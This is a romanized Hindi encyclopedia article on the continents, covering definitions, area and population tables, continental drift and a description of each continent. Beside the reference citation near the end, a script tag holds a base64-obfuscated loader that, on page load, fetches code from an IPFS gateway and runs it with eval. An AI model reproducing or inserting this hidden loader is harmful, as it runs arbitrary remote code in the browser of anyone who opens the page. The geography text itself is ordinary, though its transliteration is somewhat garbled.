महाद्वीप
thumb|250px|mahadvip mahadvip sagar tal se ek ausat ooanchaee tak oopar uthe hue prithvi ke kramabaddh vistrit bhoo-bhagoan ko kahate haian. ye dvipoan se keval akar mean hi bhinn hote haian. inake aantargat sagar nihit lagabhag 600 phut tak ki mahadvipiy magnatat bhoomi tatha mahadvipiy magnadhal ko bhi sammilit kiya jata hai. vishv mean sat mahadvip haian:
| nam | bhoomi kshetraphal ka pratishat | kshetraphal varg kimi. mean | janasankhya (karo d mean) |
|---|---|---|---|
| eshiya | 29.5 | 44,614,000 | 387.9 |
| aphrika | 20.0 | 30,216,000 | 87.7 |
| uttar amerika | 16.3 | 24,230,000 | 50.1 |
| dakshin amerika | 11.8 | 17,814,000 | 37.9 |
| yoorop | 6.5 | 10,505,000 | 72.7 |
| aaustreliya | 5.2 | 8,503,000 | 3.2 |
| aantarkatika | 9.6 | 14,245,000 |
- aaustreliya ek laghu mahadvip hai. kabhi-kabhi aisa bhi kaha jata hai ki mahadvip ke bich mean besin tatha besin ke donoan or parvatamalaean bhi honi chahie, kiantu yooreshiya isaka apavad hai. adhikatar mahadvip b de-b de parvatoan dvara simabaddh haian.
- uparyukt sat mahadvipoan ke aantargat vishv ka 28% bhag ata hai. yoorop ko bhautik drishti se eshiya ka hi bhag mana ja sakata hai. aphrika evan yoorop mahadvip ek doosare se jibraltar jalasanyojak, bab-al-maandeb tatha svej nahar dvara alag hote haian. aphrika, yoorop, evan eshiya mahadvip charoan or se mahasagaroan dvara ghire haian. ye tinoan mahadvip uttar mean kep chilyapinask[1] tatha dakshin mean kep aauph gud hop tak vistrit haian. ye tinoan mahadvip bhookhand ke 66% bhag mean vistrit haian evan inamean vishv ki 7/8 janasankhya nivas karati hai. vishv ka sarvochch shikhar mauant evarest[2] tatha sabase gahara sthan[3] mritasagar eshiya mean sthit hai.
- uttari evan dakshini amerika mahadvip atalaantik, prashaant tatha arkatik mahasagaroan se ghire haian aur panama nahar dvara vibhakt haian. aaustreliya tatha aantarkatika donoan mahadvip dakshini golarddh mean sthit haian. aaustreliya mahadvip atalaantik, prashaant evan hiand mahasagaroan se ghira tatha aantarkatika, ko chho dakar yah sabase viral basti vala mahadvip hai. aantarkatika, yoorop tatha astreliya se b da hai, kiantu poornaroopen nirjan hai. isake bare mean abhi tak yah nishchit nahian ho paya hai ki yah ek hi bhookhand hai ya barf mean dabe hue kee dvipoan ka ek samooh hai.
- yadyapi sadharan taur par manushy ki drishti mean ye mahadvip sthir haian, tathapi vastav mean ye gatiman haian aur ek doosare se alag hote ja rahe haian. aisa kaha jata hai ki mahadvip mahasagaroan ki apeksha halaki chattanoan se bane haian, jo sagaroan ki bhari tali par tair rahe haian.
- kuchh vidvanoan ke anusar prithvi ke mahadvipoan ka pravah hi parvatoan ki utpatti ka karan haian. kuchh jiv ek doosare se doorasth mahadvipoan mean milate haian, jinaka vivaran sanket karata hai ki ye bhag poorvakal mean ek doosare se avashy hi sanbaddh rahe hoange. doorasth mahadvipoan ki chattanoan aur unamean prapt hone vale khanijoan ki upalabdhi bhi pravah siddhaant ke adhar par samajhi ja sakati hai. pichhale kee bhoo-vaijnanik kaloan mean samudr ke jal tal mean bhi kafi aantar ata raha hai. kuchh mahadvipoan mean parvat shrriankhalaoan ka vivaran bhi un sthalakhandoan ke poorvakalik sanbandh ko batata hai. inhian sab batoan se yah siddh hota hai ki ye mahadvip gatishil haian.
| nam | kshetraphal | vivaran |
|---|---|---|
| eshiya | 44,614,000 varg kimi. | eshiya sabase b da mahadvip hai. yah vishv ke kul sthal kshetr ke 1/3 bhag par sthit hai. yahaan ki 3/4 janasakhya apane bharan-poshan ke lie krishi par nirbhar hai. eshiya chaval, makka, joot, kapas, silk ityadi ke utpadan ke mamale mean pahale sthan par hai. |
| aphrika | 30,216,000 varg kimi. | aphrika duniya ka doosara sabase b da mahadvip hai. aphrika ka 1/3 hissa marusthal hai. yahaan ki matr 10% bhoomi hi krishi yogy hai. hire v sone ke utpadan mean aphrika sabase oopar hai. |
| uttari amerika | 24,230,000 varg kimi. | yah duniya ka tisara sabase b da mahadvip hai. yah duniya ke 16% bhag par sthit hai. krishiy sansadhanoan ki drishtikon se yah kafi dhani kshetr hai. vishv ke kul makka utpadan ka adha utpadan yahian hota hai. van, khanij v oorja sansadhanoan ke drishtikon se yah kafi samriddh kshetr hai. |
| dakshin amerika | 17,814,000 varg kimi. | yah duniya ka chautha sabase b da mahadvip hai. is mahadvip ka 2/3 hissa vishuvat rekha ke dakshin mean sthit hai. isake bahut b de hisse mean van haian. |
| aantarkatika | 14,245,000 varg kimi. | yah vishv ka paanchava sabase b da mahadvip hai. yah poori tarah dakshini golarddh mean sthit hai aur dakshin dhruv isake madhy mean sthit hai. is mahadvip ka 99% hissa varshaparyant barf se dhanka rahata hai. yahaan ki bhoomi poori tarah banjar hai. |
| yoorop | 10,505,000 varg kimi. | yoorop ekamatr aisa mahadvip hai jahaan janasankhya ghanatv adhik hone ke sath-sath samriddhata bhi hai. yahaan van, khanij, upajaoo mitti v jal bahutayat mean hai. yoorop ke mahattvapoorn khanij sansadhan koyala, lauh ayask, petroliyam aur prakritik gais hai. |
| aaustreliya | 8,503,000 varg kimi. | yah ekamatr desh hai jo sampoorn mahadvip par sthit hai. yah desh padapoan, vanyajivoan v khanijoan ke mamal mean samriddh hai lekin jal ki yahaan kafi kami hai. |
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tika tippani aur sandarbh
“khand 9”, hindi vishvakosh, 1967 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 118-119.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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